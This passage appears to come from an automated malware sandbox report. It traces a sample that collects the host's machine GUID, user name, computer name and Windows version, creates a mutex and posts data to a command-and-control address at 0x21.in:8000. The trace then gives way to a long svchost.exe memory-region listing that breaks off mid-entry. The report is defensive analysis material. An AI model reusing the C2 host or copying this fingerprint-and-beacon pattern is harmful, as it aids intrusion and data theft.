Pro4a2f-8c0f-c90408af5778Äëÿ", lpUsedDefaultChar=0x0) returned 14 [0168.716] GetUserNameW (in: lpBuffer=0xfff720, pcbBuffer=0xfff71c | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0xfff71c) returned 1 [0168.771] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="RDhJ0CNFevzX", cchWideChar=12, lpMultiByteStr=0xffe914, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RDhJ0CNFevzXro4a2f-8c0f-c90408af5778Äëÿ", lpUsedDefaultChar=0x0) returned 12 [0168.771] GetComputerNameW (in: lpBuffer=0xfff720, nSize=0xfff71c | out: lpBuffer="XC64ZB", nSize=0xfff71c) returned 1 [0168.771] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XC64ZB", cchWideChar=6, lpMultiByteStr=0xffe914, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XC64ZBNFevzXro4a2f-8c0f-c90408af5778Äëÿ", lpUsedDefaultChar=0x0) returned 6 [0168.772] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="A743A547-9C1AFDB0-AEA27C97-73E39B07-D5BBC660F") returned 0x18c [0168.772] GetLastError () returned 0x0 [0168.772] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0xfff8ec | out: phkResult=0xfff8ec*=0x190) returned 0x0 [0168.773] RegQueryValueExW (in: hKey=0x190, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xfff8f4, lpData=0xfff6ec, lpcbData=0xfff8f0*=0xfe | out: lpType=0xfff8f4*=0x1, lpData="03845cb8-7441-4a2f-8c0f-c90408af5778", lpcbData=0xfff8f0*=0x4a) returned 0x0 [0168.773] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="03845cb8-7441-4a2f-8c0f-c90408af5778", cchWideChar=36, lpMultiByteStr=0xffe918, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="03845cb8-7441-4a2f-8c0f-c90408af5778\x98\x8d%w", lpUsedDefaultChar=0x0) returned 36 [0168.773] SysReAllocStringLen (in: pbstr=0xfff960*=0x0, psz="?", len=0x1 | out: pbstr=0xfff960*="?") returned 1 [0168.773] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0xfff71c, lpdwDisposition=0x0 | out: phkResult=0xfff71c*=0x194, lpdwDisposition=0x0) returned 0x0 [0168.773] RegQueryValueExW (in: hKey=0x194, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0xfff724, lpcbData=0xfff720*=0x100 | out: lpType=0x0, lpData=0xfff724*=0x57, lpcbData=0xfff720*=0x1e) returned 0x0 [0168.774] RegCloseKey (hKey=0x194) returned 0x0 [0168.774] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 10 Pro", cchWideChar=14, lpMultiByteStr=0xffe918, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 10 Pro4a2f-8c0f-c90408af5778\x98\x8d%w", lpUsedDefaultChar=0x0) returned 14 [0168.774] GetUserNameW (in: lpBuffer=0xfff724, pcbBuffer=0xfff720 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0xfff720) returned 1 [0168.774] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="RDhJ0CNFevzX", cchWideChar=12, lpMultiByteStr=0xffe918, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RDhJ0CNFevzXro4a2f-8c0f-c90408af5778\x98\x8d%w", lpUsedDefaultChar=0x0) returned 12 [0168.774] GetComputerNameW (in: lpBuffer=0xfff724, nSize=0xfff720 | out: lpBuffer="XC64ZB", nSize=0xfff720) returned 1 [0168.775] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XC64ZB", cchWideChar=6, lpMultiByteStr=0xffe918, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XC64ZBNFevzXro4a2f-8c0f-c90408af5778\x98\x8d%w", lpUsedDefaultChar=0x0) returned 6 [0168.780] GetModuleHandleA (lpModuleName="wininet.dll") returned 0x0 [0168.780] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x715c0000 [0168.848] GetProcAddress (hModule=0x715c0000, lpProcName="InternetOpenA") returned 0x716885d0 [0168.848] GetProcAddress (hModule=0x715c0000, lpProcName="InternetConnectA") returned 0x71700da0 [0168.848] GetProcAddress (hModule=0x715c0000, lpProcName="HttpOpenRequestA") returned 0x71725860 [0168.848] GetProcAddress (hModule=0x715c0000, lpProcName="HttpAddRequestHeadersA") returned 0x7163c3f0 [0168.849] GetProcAddress (hModule=0x715c0000, lpProcName="HttpSendRequestA") returned 0x71688e60 [0168.849] GetProcAddress (hModule=0x715c0000, lpProcName="InternetReadFile") returned 0x71647320 [0168.849] GetProcAddress (hModule=0x715c0000, lpProcName="InternetCloseHandle") returned 0x7168d200 [0168.849] GetProcAddress (hModule=0x715c0000, lpProcName="InternetCrackUrlA") returned 0x7169f730 [0168.849] GetProcAddress (hModule=0x715c0000, lpProcName="InternetSetOptionA") returned 0x71661dc0 [0168.849] InternetCrackUrlA (in: lpszUrl="http://0x21.in:8000/_az/", dwUrlLength=0x18, dwFlags=0x90000000, lpUrlComponents=0xffeabc | out: lpUrlComponents=0xffeabc) returned 1 [0168.871] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0169.024] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0xfff928*, dwBufferLength=0x4) returned 1 [0169.024] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0xfff928*, dwBufferLength=0x4) returned 1 [0169.026] InternetConnectA (hInternet=0xcc0004, lpszServerName="0x21.in", nServerPort=0x1f40, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0169.027] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/_az/", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84003300, dwContext=0x0) returned 0xcc000c [0169.029] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="", dwHeadersLength=0x0, lpOptional=0x25605ec*, dwOptionalLength=0x63) returned 0 [0170.211] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0170.211] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0170.211] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0170.211] GetModuleHandleA (lpModuleName="wsock32.dll") returned 0x0 [0170.211] LoadLibraryA (lpLibFileName="wsock32.dll") returned 0x704f0000 [0170.215] GetProcAddress (hModule=0x704f0000, lpProcName="WSAStartup") returned 0x74db6520 [0170.215] GetProcAddress (hModule=0x704f0000, lpProcName="gethostbyname") returned 0x74de1110 [0170.215] GetProcAddress (hModule=0x704f0000, lpProcName="socket") returned 0x74dbe6b0 [0170.215] GetProcAddress (hModule=0x704f0000, lpProcName="send") returned 0x74dc1b90 [0170.216] GetProcAddress (hModule=0x704f0000, lpProcName="recv") returned 0x704f1440 [0170.216] GetProcAddress (hModule=0x704f0000, lpProcName="htons") returned 0x74db4a90 [0170.216] GetProcAddress (hModule=0x704f0000, lpProcName="connect") returned 0x74dc6090 [0170.216] GetProcAddress (hModule=0x704f0000, lpProcName="closesocket") returned 0x74dbead0 [0170.216] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfee860 | out: lpWSAData=0xfee860) returned 0 [0170.216] socket (af=2, type=1, protocol=0) returned 0x23c [0170.218] gethostbyname (name="0x21.in") returned 0x0 [0170.549] VirtualFree (lpAddress=0x2560000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0170.560] VirtualFree (lpAddress=0x2560000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.561] LocalFree (hMem=0x1071f10) returned 0x0 [0170.562] LocalFree (hMem=0x1072f10) returned 0x0 [0170.562] ExitProcess (uExitCode=0x0) Thread: id = 323 os_tid = 0x1274 Thread: id = 324 os_tid = 0x1278 Thread: id = 325 os_tid = 0x12d0 Thread: id = 334 os_tid = 0x1120 Thread: id = 335 os_tid = 0x1394 Thread: id = 337 os_tid = 0x614 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x747fa000" os_pid = "0x3f4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cca2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 889 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 890 start_va = 0xf902400000 end_va = 0xf9025fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f902400000" filename = "" Region: id = 891 start_va = 0xf902600000 end_va = 0xf90267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f902600000" filename = "" Region: id = 892 start_va = 0xf902800000 end_va = 0xf9028fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f902800000" filename = "" Region: id = 893 start_va = 0xf902900000 end_va = 0xf9029fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f902900000" filename = "" Region: id = 894 start_va = 0xf902a00000 end_va = 0xf902afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f902a00000" filename = "" Region: id = 895 start_va = 0xf902b00000 end_va = 0xf902bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f902b00000" filename = "" Region: id = 896 start_va = 0xf902c00000 end_va = 0xf902cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f902c00000" filename = "" Region: id = 897 start_va = 0xf902e00000 end_va = 0xf902efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f902e00000" filename = "" Region: id = 898 start_va = 0xf903000000 end_va = 0xf90307ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903000000" filename = "" Region: id = 899 start_va = 0xf903080000 end_va = 0xf90317ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903080000" filename = "" Region: id = 900 start_va = 0xf903180000 end_va = 0xf90327ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903180000" filename = "" Region: id = 901 start_va = 0xf903280000 end_va = 0xf90337ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903280000" filename = "" Region: id = 902 start_va = 0xf903480000 end_va = 0xf90357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903480000" filename = "" Region: id = 903 start_va = 0xf903700000 end_va = 0xf9037fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903700000" filename = "" Region: id = 904 start_va = 0xf903800000 end_va = 0xf9038fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903800000" filename = "" Region: id = 905 start_va = 0xf903980000 end_va = 0xf903a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903980000" filename = "" Region: id = 906 start_va = 0xf903a80000 end_va = 0xf903b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903a80000" filename = "" Region: id = 907 start_va = 0xf903b80000 end_va = 0xf903c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903b80000" filename = "" Region: id = 908 start_va = 0xf903f80000 end_va = 0xf90407ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f903f80000" filename = "" Region: id = 909 start_va = 0xf904080000 end_va = 0xf90417ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904080000" filename = "" Region: id = 910 start_va = 0xf904180000 end_va = 0xf9041fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904180000" filename = "" Region: id = 911 start_va = 0xf904200000 end_va = 0xf9042fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904200000" filename = "" Region: id = 912 start_va = 0xf904300000 end_va = 0xf9043fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904300000" filename = "" Region: id = 913 start_va = 0xf904600000 end_va = 0xf9046fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904600000" filename = "" Region: id = 914 start_va = 0xf904900000 end_va = 0xf90497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904900000" filename = "" Region: id = 915 start_va = 0xf904b00000 end_va = 0xf904b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904b00000" filename = "" Region: id = 916 start_va = 0xf904c80000 end_va = 0xf904d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904c80000" filename = "" Region: id = 917 start_va = 0xf904d80000 end_va = 0xf904e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904d80000" filename = "" Region: id = 918 start_va = 0xf904f80000 end_va = 0xf90507ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f904f80000" filename = "" Region: id = 919 start_va = 0xf905080000 end_va = 0xf90517ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f905080000" filename = "" Region: id = 920 start_va = 0xf905180000 end_va = 0xf90527ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f905180000" filename = "" Region: id = 921 start_va = 0xf905300000 end_va = 0xf9053fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f905300000" filename = "" Region: id = 922 start_va = 0xf905480000 end_va = 0xf90557ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f905480000" filename = "" Region: id = 923 start_va = 0xf905680000 end_va = 0xf90577ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f905680000" filename = "" Region: id = 924 start_va = 0xf905f00000 end_va = 0xf905ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f905f00000" filename = "" Region: id = 925 start_va = 0xf906000000 end_va = 0xf9060fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f906000000" filename = "" Region: id = 926 start_va = 0xf906100000 end_va = 0xf9061fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f906100000" filename = "" Region: id = 927 start_va = 0xf906200000 end_va = 0xf9062fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f906200000" filename = "" Region: id = 928 start_va = 0xf906300000 end_va = 0xf9063fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f906300000" filename = "" Region: id = 929 start_va = 0xf906400000 end_va = 0xf9064fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f906400000" filename = "" Region: id = 930 start_va = 0xf906500000 end_va = 0xf9065fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f906500000" filename = "" Region: id = 931 start_va = 0xf906800000 end_va = 0xf9068fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f906800000" filename = "" Region: id = 932 start_va = 0xf906f00000 end_va = 0xf906f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f906f00000" filename = "" Region: id = 933 start_va = 0xf907880000 end_va = 0xf9078fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907880000" filename = "" Region: id = 934 start_va = 0xf907900000 end_va = 0xf9079fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907900000" filename = "" Region: id = 935 start_va = 0xf907a00000 end_va = 0xf907afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907a00000" filename = "" Region: id = 936 start_va = 0xf907b00000 end_va = 0xf907bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907b00000" filename = "" Region: id = 937 start_va = 0xf907c00000 end_va = 0xf907c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907c00000" filename = "" Region: id = 938 start_va = 0xf907c80000 end_va = 0xf907d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907c80000" filename = "" Region: id = 939 start_va = 0xf907d80000 end_va = 0xf907e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907d80000" filename = "" Region: id = 940 start_va = 0xf907e80000 end_va = 0xf907f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907e80000" filename = "" Region: id = 941 start_va = 0xf907f80000 end_va = 0xf90807ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f907f80000" filename = "" Region: id = 942 start_va = 0xf908080000 end_va = 0xf90817ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908080000" filename = "" Region: id = 943 start_va = 0xf908180000 end_va = 0xf9081fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908180000" filename = "" Region: id = 944 start_va = 0xf908280000 end_va = 0xf90837ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908280000" filename = "" Region: id = 945 start_va = 0xf908380000 end_va = 0xf90847ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908380000" filename = "" Region: id = 946 start_va = 0xf908480000 end_va = 0xf90857ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908480000" filename = "" Region: id = 947 start_va = 0xf908580000 end_va = 0xf90867ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908580000" filename = "" Region: id = 948 start_va = 0xf908680000 end_va = 0xf90877ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908680000" filename = "" Region: id = 949 start_va = 0xf908780000 end_va = 0xf90887ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908780000" filename = "" Region: id = 950 start_va = 0xf908880000 end_va = 0xf90897ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908880000" filename = "" Region: id = 951 start_va = 0xf908980000 end_va = 0xf908a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908980000" filename = "" Region: id = 952 start_va = 0xf908a80000 end_va = 0xf908afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908a80000" filename = "" Region: id = 953 start_va = 0xf908c00000 end_va = 0xf908cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908c00000" filename = "" Region: id = 954 start_va = 0xf908d00000 end_va = 0xf908d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908d00000" filename = "" Region: id = 955 start_va = 0xf908e80000 end_va = 0xf908efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908e80000" filename = "" Region: id = 956 start_va = 0xf908f00000 end_va = 0xf908f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f908f00000" filename = "" Region: id = 957 start_va = 0xf909180000 end_va = 0xf9091fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f909180000" filename = "" Region: id = 958 start_va = 0xf909400000 end_va = 0xf9094fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f909400000" filename = "" Region: id = 959 start_va = 0xf90a100000 end_va = 0xf90a1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90a100000" filename = "" Region: id = 960 start_va = 0xf90a300000 end_va = 0xf90a3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90a300000" filename = "" Region: id = 961 start_va = 0xf90a400000 end_va = 0xf90a4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90a400000" filename = "" Region: id = 962 start_va = 0xf90a600000 end_va = 0xf90a67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90a600000" filename = "" Region: id = 963 start_va = 0x20332ec0000 end_va = 0x20332ecffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332ec0000" filename = "" Region: id = 964 start_va = 0x20332ed0000 end_va = 0x20332ed0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 965 start_va = 0x20332ee0000 end_va = 0x20332ef4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332ee0000" filename = "" Region: id = 966 start_va = 0x20332f00000 end_va = 0x20332f03fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332f00000" filename = "" Region: id = 967 start_va = 0x20332f10000 end_va = 0x20332f10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332f10000" filename = "" Region: id = 968 start_va = 0x20332f20000 end_va = 0x20332f21fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020332f20000" filename = "" Region: id = 969 start_va = 0x20332f30000 end_va = 0x20332f30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020332f30000" filename = "" Region: id = 970 start_va = 0x20332f40000 end_va = 0x20332f40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020332f40000" filename = "" Region: id = 971 start_va = 0x20332f50000 end_va = 0x20332f50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332f50000" filename = "" Region: id = 972 start_va = 0x20332f60000 end_va = 0x20332f60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332f60000" filename = "" Region: id = 973 start_va = 0x20332f70000 end_va = 0x20332f70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332f70000" filename = "" Region: id = 974 start_va = 0x20332f80000 end_va = 0x20332f80fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 975 start_va = 0x20332f90000 end_va = 0x20332f90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332f90000" filename = "" Region: id = 976 start_va = 0x20332fa0000 end_va = 0x20332fa8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 977 start_va = 0x20332fb0000 end_va = 0x20332fbcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 978 start_va = 0x20332fc0000 end_va = 0x20332fc1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020332fc0000" filename = "" Region: id = 979 start_va = 0x20332fd0000 end_va = 0x20332fd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020332fd0000" filename = "" Region: id = 980 start_va = 0x20332fe0000 end_va = 0x20332fe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020332fe0000" filename = "" Region: id = 981 start_va = 0x20332ff0000 end_va = 0x20332ff3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 982 start_va = 0x20333000000 end_va = 0x203330fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020333000000" filename = "" Region: id = 983 start_va = 0x20333100000 end_va = 0x203331bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 984 start_va = 0x203331c0000 end_va = 0x2033327ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000203331c0000" filename = "" Region: id = 985 start_va = 0x20333280000 end_va = 0x203332c4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 986 start_va = 0x203332d0000 end_va = 0x203332d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 987 start_va = 0x203332e0000 end_va = 0x203332ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 988 start_va = 0x203332f0000 end_va = 0x203332f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000203332f0000" filename = "" Region: id = 989 start_va = 0x20333300000 end_va = 0x203333fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020333300000" filename = "" Region: id = 990 start_va = 0x20333400000 end_va = 0x20333587fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020333400000" filename = "" Region: id = 991 start_va = 0x20333590000 end_va = 0x20333710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020333590000" filename = "" Region: id = 992 start_va = 0x20333720000 end_va = 0x203337adfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 993 start_va = 0x203337b0000 end_va = 0x203337b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000203337b0000" filename = "" Region: id = 994 start_va = 0x203337c0000 end_va = 0x203337c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000203337c0000" filename = "" Region: id = 995 start_va = 0x203337d0000 end_va = 0x203338affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 996 start_va = 0x203338b0000 end_va = 0x203338b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000203338b0000" filename = "" Region: id = 997 start_va = 0x203338c0000 end_va = 0x203338c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000203338c0000" filename = "" Region: id = 998 start_va = 0x203338d0000 end_va = 0x203338e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 999 start_va = 